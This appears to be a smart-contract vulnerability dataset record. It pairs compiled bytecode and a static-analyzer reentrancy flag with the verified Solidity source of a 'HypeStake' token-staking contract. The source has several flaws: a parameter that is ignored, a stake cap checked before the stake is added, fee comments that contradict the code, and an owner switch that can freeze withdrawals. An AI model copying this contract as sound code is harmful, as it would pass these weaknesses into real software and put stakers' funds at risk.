2e1a7d4d60e01b81526004810186905290516001600160a01b0390921692632e1a7d4d9260248084019382900301818387803b158015610c5f57600080fd5b505af1158015610c73573d6000803e3d6000fd5b505060405133925084156108fc02915084906000818181858888f19350505050158015610ca4573d6000803e3d6000fd5b50505050565b6004546001600160a01b03163314610cf7576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600255565b60025460008054604080516370a0823160e01b815230600482015290519293610d9193612710936106d5936001600160a01b03909116916370a0823191602480820192602092909190829003018186803b158015610d5957600080fd5b505afa158015610d6d573d6000803e3d6000fd5b505050506040513d6020811015610d8357600080fd5b50519063ffffffff61161c16565b905090565b6000610da13361109c565b33600090815260066020908152604082205491805260079052600080516020611abc83398151915254919250610df2916b1d6329f1c35ca4bfabb9f56160281b916106d5919063ffffffff61161c16565b336000908152600660205260409020600181019190915560020154610e1d908263ffffffff6115bb16565b336000908152600660205260409020600201558015610f555733600090815260086020526040902054420362015180811015610f36576000610e86670de0b6b3a76400006106d5620151808183610e7a888a63ffffffff61161c16565b9063ffffffff61161c16565b90506000610e9a848363ffffffff61167516565b9050610f32600560009054906101000a90046001600160a01b03166001600160a01b0316639ec5a8946040518163ffffffff1660e01b815260040160206040518083038186803b158015610eed57600080fd5b505afa158015610f01573d6000803e3d6000fd5b505050506040513d6020811015610f1757600080fd5b50516001546001600160a01b0316908363ffffffff6116f916565b5091505b600154610f53906001600160a01b0316338463ffffffff6116f916565b505b50565b6004546001600160a01b031681565b60008080526007602052600080516020611adc833981519152548190610fcf90610faa906106d5876b1d6329f1c35ca4bfabb9f56160281b63ffffffff61161c16565b600080526007602052600080516020611abc833981519152549063ffffffff6115bb16565b6001600160a01b03841660009081526006602052604081205491925090611012906b1d6329f1c35ca4bfabb9f56160281b906106d590859063ffffffff61161c16565b905061102d6110208561109c565b829063ffffffff61167516565b6001600160a01b03851660009081526006602052604090206001015490915081101561105e57600092505050611090565b6001600160a01b03841660009081526006602052604090206001015461108b90829063ffffffff61167516565b925050505b92915050565b61271081565b6001600160a01b03811660009081526006602090815260408220548280526007909152600080516020611abc8339815191525482916110f6916b1d6329f1c35ca4bfabb9f56160281b916106d5919063ffffffff61161c16565b6001600160a01b038416600090815260066020526040902060010154909150811015611126576000915050611157565b6001600160a01b03831660009081526006602052604090206001015461115390829063ffffffff61167516565b9150505b919050565b60035481565b6004546001600160a01b031633146111af576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600355565b6004546001600160a01b03163314611201576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6004546001600160a01b03163314611270576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b7396f9632b25f874769969ff91219fccb6cedf26d281565b60055460008054604080516370a0823160e01b81526001600160a01b03928316600482015290519293610d91939216916370a0823191602480820192602092909190829003018186803b15801561130057600080fd5b505afa158015611314573d6000803e3d6000fd5b505050506040513d602081101561132a57600080fd5b5051600054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561137757600080fd5b505afa15801561138b573d6000803e3d6000fd5b505050506040513d60208110156113a157600080fd5b50519063ffffffff6115bb16565b60076020526000908152604090208054600182015460029092015490919083565b60006113da610cfc565b600554600054919250611400916001600160a01b0390811691168363ffffffff6116f916565b600554600080546040805163b02bf4b960e01b81526001600160a01b039283166004820152602481018690529051919093169263b02bf4b992604480830193919282900301818387803b15801561145657600080fd5b505af115801561146a573d6000803e3d6000fd5b5050505050565b60086020526000908152604090205481565b600081116114c0576040805162461bcd60e51b815260206004820152600560248201526406e6f7420360dc1b604482015290519081900360640190fd5b6001546114de906001600160a01b031633308463ffffffff61175016565b600080526007602052600080516020611adc8339815191525461151e90610faa906106d5846b1d6329f1c35ca4bfabb9f56160281b63ffffffff61161c16565b600080526007602052600080516020611abc833981519152557f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6e054611569908263ffffffff6115bb16565b6000805260076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6e05550565b6005546001600160a01b031681565b60025481565b6000546001600160a01b031681565b600082820183811015611615576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b60008261162b57506000611090565b8282028284828161163857fe5b04146116155760405162461bcd60e51b8152600401808060200182810382526021815260200180611a9b6021913960400191505060405180910390fd5b600061161583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117aa565b600061161583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611841565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261174b9084906118a6565b505050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610ca49085906118a6565b600081848411156118395760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156117fe5781810151838201526020016117e6565b50505050905090810190601f16801561182b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836118905760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156117fe5781810151838201526020016117e6565b50600083858161189c57fe5b0495945050505050565b6118b8826001600160a01b0316611a5e565b611909576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106119475780518252601f199092019160209182019101611928565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146119a9576040519150601f19603f3d011682016040523d82523d6000602084013e6119ae565b606091505b509150915081611a05576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610ca457808060200190516020811015611a2157600080fd5b5051610ca45760405162461bcd60e51b815260040180806020018281038252602a815260200180611afc602a913960400191505060405180910390fd5b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590611a925750808214155b94935050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f776d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6e16d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a723158204551bd71db9bde2650d53a69bcd2afd1124f6ebaf25ac93d66800199685e44ac64736f6c634300050f0032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,797 |
0x8ee4b960a423cfd80eb916ce4df5f39369a55be8
|
/**
*Submitted for verification at Etherscan.io on 2020-11-08
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.4;
// ----------------------------------------------------------------------------
// 'Hype' Staking smart contract. 2.5% deposit and withdrawal fees are rewarded to all staking members based on their staking amount.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// SafeMath library
// ----------------------------------------------------------------------------
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
require(_newOwner != address(0), "ERC20: sending to the zero address");
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function allowance(address tokenOwner, address spender) external view returns (uint256 remaining);
function transfer(address to, uint256 tokens) external returns (bool success);
function approve(address spender, uint256 tokens) external returns (bool success);
function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
function transferFromStake(address from, address to, uint256 tokens) external returns (bool success);
function burnTokens(uint256 _amount) external;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract HypeStake is Owned {
using SafeMath for uint256;
address public Hype = 0x610c67be018A5C5bdC70ACd8DC19688A11421073;
address rewardMaker = 0x181b3a5c476fEecC97Cf7f31Ea51093f324B726f;
uint256 public totalStakes = 0;
uint256 stakingFee = 50; // 5%
uint256 unstakingFee = 100; // 10%
uint256 public totalDividends = 0;
uint256 private scaledRemainder = 0;
uint256 private scaling = uint256(10) ** 12;
uint public round = 1;
uint256 public maxAllowed = 1000000000000000000000; //1000 tokens total allowed to be staked
uint public blockPerDay = 6539;
uint public locktime = 1 * blockPerDay; //1days lock to test
/* Fees breaker, to protect withdraws if anything ever goes wrong */
bool public breaker = false; // withdraw can be lock,, default unlocked
mapping(address => uint) public farmLock; // period that your sake it locked to keep it for farming
//uint public lock = 0; // farm lock in blocks ~ 0 days for 15s/block
//address public admin;
struct USER{
uint256 stakedTokens;
uint256 lastDividends;
uint256 fromTotalDividend;
uint round;
uint256 remainder;
}
address[] internal stakeholders;
mapping(address => USER) stakers;
mapping (uint => uint256) public payouts; // keeps record of each payout
event STAKED(address staker, uint256 tokens, uint256 stakingFee);
event EARNED(address staker, uint256 tokens);
event UNSTAKED(address staker, uint256 tokens, uint256 unstakingFee);
event PAYOUT(uint256 round, uint256 tokens, address sender);
event CLAIMEDREWARD(address staker, uint256 reward);
event WithdrawalLockDurationSet(uint256 value, address sender);
function setBreaker(bool _breaker) external onlyOwner {
//require(msg.sender == admin, "admin only");
breaker = _breaker;
}
function calculateReward(address _stakeholder)
public
view
returns(uint256)
{
uint256 bal = yourStakedHype(_stakeholder);
return bal.div(totalStakes);
}
function distributeRewards(uint256 tokens)
public
{
require(msg.sender == address(rewardMaker), "ERC20: You'r not allowed to use this function");
require(IERC20(Hype).transferFromStake(msg.sender, address(this), tokens), "Tokens cannot be transferred from funder account");
_addPayout(tokens);
}
function isStakeholder(address _address)
public
view
returns(bool)
{
for (uint256 s = 0; s < stakeholders.length; s += 1){
if (_address == stakeholders[s]) return (true);
}
return (false);
}
function addStakeholder(address _stakeholder)
public
{
(bool _isStakeholder) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
// ------------------------------------------------------------------------
// Token holders can stake their tokens using this function
// @param tokens number of tokens to stake
// ------------------------------------------------------------------------
function STAKE(uint256 tokens) external {
require(totalStakes <= maxAllowed, "Total Stakes amount exceed");
require(IERC20(Hype).transferFromStake(msg.sender, address(this), tokens), "Tokens cannot be transferred from user account");
uint256 _stakingFee = 0;
if(totalStakes > 0)
_stakingFee= (onePercent(tokens).mul(stakingFee)).div(10);
if(totalStakes > 0)
// distribute the staking fee accumulated before updating the user's stake
_addPayout(_stakingFee);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
stakers[msg.sender].stakedTokens = (tokens.sub(_stakingFee)).add(stakers[msg.sender].stakedTokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
(bool _isStakeholder) = isStakeholder(msg.sender);
if(!_isStakeholder) farmLock[msg.sender] = block.timestamp;
totalStakes = totalStakes.add(tokens.sub(_stakingFee));
addStakeholder(msg.sender);
emit STAKED(msg.sender, tokens.sub(_stakingFee), _stakingFee);
}
function calculateExitBlock(address _staker) public view returns (uint256){
require(_staker != address(0), "ERC20: sending to the zero address");
// uint enterBlock = farmLock[msg.sender];
//uint exitBlock = enterBlock.add(locktime)
return farmLock[msg.sender];
}
// ------------------------------------------------------------------------
// Owners can send the funds to be distributed to stakers using this function
// @param tokens number of tokens to distribute
// ------------------------------------------------------------------------
function ADDFUNDS(uint256 tokens) external {
require(IERC20(Hype).transferFromStake(msg.sender, address(this), tokens), "Tokens cannot be transferred from funder account");
_addPayout(tokens);
}
// ------------------------------------------------------------------------
// Private function to register payouts
// ------------------------------------------------------------------------
function _addPayout(uint256 tokens) private{
// divide the funds among the currently staked tokens
// scale the deposit and add the previous remainder
uint256 available = (tokens.mul(scaling)).add(scaledRemainder);
uint256 dividendPerToken = available.div(totalStakes);
scaledRemainder = available.mod(totalStakes);
totalDividends = totalDividends.add(dividendPerToken);
payouts[round] = payouts[round - 1].add(dividendPerToken);
emit PAYOUT(round, tokens, msg.sender);
round++;
}
// ------------------------------------------------------------------------
// Stakers can claim their pending rewards using this function
// ------------------------------------------------------------------------
function CLAIMREWARD() public {
if(totalDividends > stakers[msg.sender].fromTotalDividend){
uint256 owing = pendingReward(msg.sender);
owing = owing.add(stakers[msg.sender].remainder);
stakers[msg.sender].remainder = 0;
require(IERC20(Hype).transferFromStake(address(this), msg.sender,owing), "ERROR: error in sending reward from contract");
emit CLAIMEDREWARD(msg.sender, owing);
stakers[msg.sender].lastDividends = owing; // unscaled
stakers[msg.sender].round = round; // update the round
stakers[msg.sender].fromTotalDividend = totalDividends; // scaled
}
}
// ------------------------------------------------------------------------
// Get the pending rewards of the staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function pendingReward(address staker) private returns (uint256) {
require(staker != address(0), "ERC20: sending to the zero address");
uint stakersRound = stakers[staker].round;
uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
stakers[staker].remainder += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return amount;
}
function getPendingReward(address staker) public view returns(uint256 _pendingReward) {
require(staker != address(0), "ERC20: sending to the zero address");
uint stakersRound = stakers[staker].round;
uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
amount += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return (amount.add(stakers[staker].remainder));
}
// ------------------------------------------------------------------------
// Stakers can un stake the staked tokens using this function
// @param tokens the number of tokens to withdraw
// ------------------------------------------------------------------------
function WITHDRAW(uint256 tokens) external {
require(breaker == false, "Admin Restricted WITHDRAW");
require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw");
//uint exitBlock = calculateExitBlock(msg.sender);
require(farmLock[msg.sender]+30 days <= block.timestamp, "Withdraw can only be done after 30 days");
uint256 _unstakingFee = (onePercent(tokens).mul(unstakingFee)).div(10);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
require(IERC20(Hype).transfer(msg.sender, tokens.sub(_unstakingFee)), "Error in un-staking tokens");
stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
totalStakes = totalStakes.sub(tokens);
if(totalStakes > 0)
// distribute the un staking fee accumulated after updating the user's stake
_addPayout(_unstakingFee);
emit UNSTAKED(msg.sender, tokens.sub(_unstakingFee), _unstakingFee);
}
// ------------------------------------------------------------------------
// Private function to calculate 1% percentage
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Get the number of tokens staked by a staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function yourStakedHype(address staker) public view returns(uint256 stakedHype){
require(staker != address(0), "ERC20: sending to the zero address");
return stakers[staker].stakedTokens;
}
// ------------------------------------------------------------------------
// Get the Hype balance of the token holder
// @param user the address of the token holder
// ------------------------------------------------------------------------
function yourHypeBalance(address user) external view returns(uint256 HypeBalance){
require(user != address(0), "ERC20: sending to the zero address");
return IERC20(Hype).balanceOf(user);
}
// -------------------- LOCK CODE ------------------------------------------------------------------------
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80638d4c7129116100de578063ca39967111610097578063e49352fe11610071578063e49352fe146105da578063e5c42fd1146105f8578063ef037b901461063c578063f2fde38b1461069657610173565b8063ca39967114610536578063ca84d59114610554578063d82e39621461058257610173565b80638d4c7129146103e85780638da5cb5b14610440578063951ef20214610474578063997664d7146104cc578063b53d6c24146104ea578063bf9befb11461051857610173565b806359974e381161013057806359974e38146102885780635c0aeb0e146102b65780635d7f64a3146102e657806361c533b41461033e57806369673c7e1461035c5780636b4fa3421461039057610173565b80630f41e0d214610178578063146ca5311461019857806329652e86146101b65780632c75bcda146101f85780634baf782e146102265780634df9d6ba14610230575b600080fd5b6101806106da565b60405180821515815260200191505060405180910390f35b6101a06106ed565b6040518082815260200191505060405180910390f35b6101e2600480360360208110156101cc57600080fd5b81019080803590602001909291905050506106f3565b6040518082815260200191505060405180910390f35b6102246004803603602081101561020e57600080fd5b810190808035906020019092919050505061070b565b005b61022e610cf0565b005b6102726004803603602081101561024657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061105b565b6040518082815260200191505060405180910390f35b6102b46004803603602081101561029e57600080fd5b81019080803590602001909291905050506112ac565b005b6102e4600480360360208110156102cc57600080fd5b8101908080351515906020019092919050505061149f565b005b610328600480360360208110156102fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611514565b6040518082815260200191505060405180910390f35b6103466115e5565b6040518082815260200191505060405180910390f35b6103646115eb565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103d2600480360360208110156103a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611611565b6040518082815260200191505060405180910390f35b61042a600480360360208110156103fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116df565b6040518082815260200191505060405180910390f35b610448611831565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104b66004803603602081101561048a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611855565b6040518082815260200191505060405180910390f35b6104d461186d565b6040518082815260200191505060405180910390f35b6105166004803603602081101561050057600080fd5b8101908080359060200190929190505050611873565b005b6105206119c0565b6040518082815260200191505060405180910390f35b61053e6119c6565b6040518082815260200191505060405180910390f35b6105806004803603602081101561056a57600080fd5b81019080803590602001909291905050506119cc565b005b6105c46004803603602081101561059857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ec0565b6040518082815260200191505060405180910390f35b6105e2611eeb565b6040518082815260200191505060405180910390f35b61063a6004803603602081101561060e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ef1565b005b61067e6004803603602081101561065257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f6b565b60405180821515815260200191505060405180910390f35b6106d8600480360360208110156106ac57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061200b565b005b600d60009054906101000a900460ff1681565b60095481565b60116020528060005260406000206000915090505481565b60001515600d60009054906101000a900460ff16151514610794576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f41646d696e20526573747269637465642057495448445241570000000000000081525060200191505060405180910390fd5b80601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154101580156107e65750600081115b610858576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f496e76616c696420746f6b656e20616d6f756e7420746f20776974686472617781525060200191505060405180910390fd5b4262278d00600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111156108f5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180612a166027913960400191505060405180910390fd5b6000610927600a61091960055461090b86612186565b6121da90919063ffffffff16565b61226090919063ffffffff16565b90506000610934336122aa565b905080601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008282540192505081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb336109d885876124f290919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a2b57600080fd5b505af1158015610a3f573d6000803e3d6000fd5b505050506040513d6020811015610a5557600080fd5b8101908080519060200190929190505050610ad8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4572726f7220696e20756e2d7374616b696e6720746f6b656e7300000000000081525060200191505060405180910390fd5b610b2d83601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546124f290919063ffffffff16565b601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555080601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600654601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550600954601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030181905550610c61836003546124f290919063ffffffff16565b60038190555060006003541115610c7c57610c7b8261253c565b5b7faeb913af138cc126643912346d844a49a83761eb58fcfc9e571fc99e1b3d9fa233610cb184866124f290919063ffffffff16565b84604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1505050565b601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546006541115611059576000610d47336122aa565b9050610d9e601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401548261267290919063ffffffff16565b90506000601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040181905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166313bbe5b93033846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610e9957600080fd5b505af1158015610ead573d6000803e3d6000fd5b505050506040513d6020811015610ec357600080fd5b8101908080519060200190929190505050610f29576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806129a7602c913960400191505060405180910390fd5b7f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e3382604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a180601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600954601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030181905550600654601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550505b565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806129d36022913960400191505060405180910390fd5b6000601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154905060006111be6008546111b0601060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546111a260116000600189038152602001908152602001600020546006546124f290919063ffffffff16565b6121da90919063ffffffff16565b61226090919063ffffffff16565b9050600854611242601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461123460116000600188038152602001908152602001600020546006546124f290919063ffffffff16565b6121da90919063ffffffff16565b8161124957fe5b06810190506112a3601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401548261267290919063ffffffff16565b92505050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611352576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180612a9b602d913960400191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166313bbe5b93330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561140357600080fd5b505af1158015611417573d6000803e3d6000fd5b505050506040513d602081101561142d57600080fd5b8101908080519060200190929190505050611493576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180612a6b6030913960400191505060405180910390fd5b61149c8161253c565b50565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114f757600080fd5b80600d60006101000a81548160ff02191690831515021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561159b576040517f